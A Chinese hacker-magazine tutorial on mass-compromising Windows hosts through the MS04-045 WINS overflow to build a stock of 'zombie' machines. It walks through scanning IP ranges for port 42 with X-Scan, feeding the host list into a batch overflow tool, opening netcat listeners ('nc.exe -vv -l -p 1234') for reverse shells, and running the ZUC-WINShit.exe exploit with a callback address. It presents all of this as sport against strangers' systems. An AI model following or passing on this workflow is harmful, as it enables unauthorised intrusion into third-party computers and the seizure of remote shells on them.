网上不时地有许多新的系统或软件漏洞冒出来,作为黑客营的读者自然是不会放过新漏洞抓肉鸡的好机会!当初的SQL溢出漏洞出来时,笔者还记得动用X-Scan挨个扫描开放了1433端口的SQL主机,然后对扫描到的目标打开无数个命令窗口,一个接一个地进行溢出测试,真累!后来终于出现了一个叫“批量溢出”的工具,只要添上几个参数,就可以对数十台主机进行批量溢出,做黑客就要狠一点!
这里我们就以年初的MS04045(WINS 中的漏洞可能允许远程执行代码)溢出漏洞为例,讲解一下我们是怎么利用“批量溢出工具”,进行批处理溢出的。
小知识:WINS(Windows Internet Name Service)是微软Windows 系统支持的一套类似于DNS的名称服务,负责将网络计算机名解析为IP地址。
攻击目标轻松搜
许多溢出漏洞都没有专门的漏洞扫描程序,MS04045溢出漏洞也是如此。比较有效的办法就是扫描存在该服务相应打开端口的主机,然后挨个进行溢出测试。
因为启用WINS服务将会打开本地主机对应的42号端口,我们用X-Scan进行扫描,在扫描参数设置框中指定要扫描的IP地址范围,并设置扫描开放42端口的主机就可以了。在设置扫描选项时,为了防止有的网站服务器安装了防火墙禁止Ping检测,一般要使用无条件扫描方式。另外,最重要的一点,就是勾选对话框“基本设置”标签中的“保存主机列表”选项,并输入列表文件的文件名。
设置完毕后,使用X-Scan很快可以扫描到许多开放WINS服务的主机,我们可以在X-Scan目录下的“Log”文件夹下找到刚才指定的列表文件。在列表文件中保存的就是开放了42端口的主机列表,这便是我们的攻击目标了。
导入攻击目标
现在我们将攻击目标全部导入到“批量溢出工具”里面,一次性地对它们进行测试攻击。运行批量溢出工具,点击软件界面中的“浏览”按钮,指定刚才生成的主机列表文件路径(图1)。在列表文件后面有一个“端口”输入项,是用来填写要溢出攻击目标主机的端口号的,在这里填入我们要溢出的WINS服务的42号端口即可。
本地监听正反连接
1.批量监听反向连接
有许多溢出程序为了防止防火墙拦截,都是采用反向连接的方式,由溢出主机向被溢出主机指定的端口发送一个CMD Shell,MS04045溢出漏洞也是如此。因此在溢出攻击前,一般首先要使用nc在本地监听一个指定的端口,以接收反向连接过来的Shell。因为是进行批量溢出,因此我们要打开多个监听窗口,以便接收多个反向连接Shell。每个都用手动打开太麻烦,可以在批量溢出工具中进行设置。
在软件界面中勾选“反向连接方式”,在“监听命令”中输入监听命令行:“nc.exe -vv -l -p 1234”,这里的监听端口随便指定一个未使用的端口就可以了。然后在“运行”后输入要同时打开的监听窗口数目,一般设置为5个就可以了。设置完毕后,点击“监听”按钮就可以在本地打开命令窗口进行监听了。
2.批量进行正向连接
如果不需要反向连接避开防火墙,那么在溢出成功后,还要远程连接登录溢出端口来获得Shell。同样的也可以设置批量正向连接。勾选界面中的“溢出后尝试连接到”项,在后面输入要连接的远程主机端口就可以了。
批量溢出“肉鸡”成群
WINS服务溢出程序名称为ZUC-WINShit,溢出程序的使用格式为:
“ZUC-WINShit.exe <victim-host> <connectback-ip> <connectback port>”
现在对目标发起攻击了,先在界面上的“程序名”中输入溢出程序名称“ZUC-WINShit.exe”。“前缀名称”项,指的是在命令格式中位于攻击的IP地址前的参数,比如像以前的MS0411溢出程序要根据攻击目标操作系统不同,使用0或1等进行区别。这里没有前缀参数。然后勾选“后缀参数”项,在其中按溢出程序格式填入本地的IP地址和反向连接端口(图2)。
剩下的事就是坐下来泡杯茶,看着肉鸡们一个接一个地连接到我们的机子上,心里感觉那个爽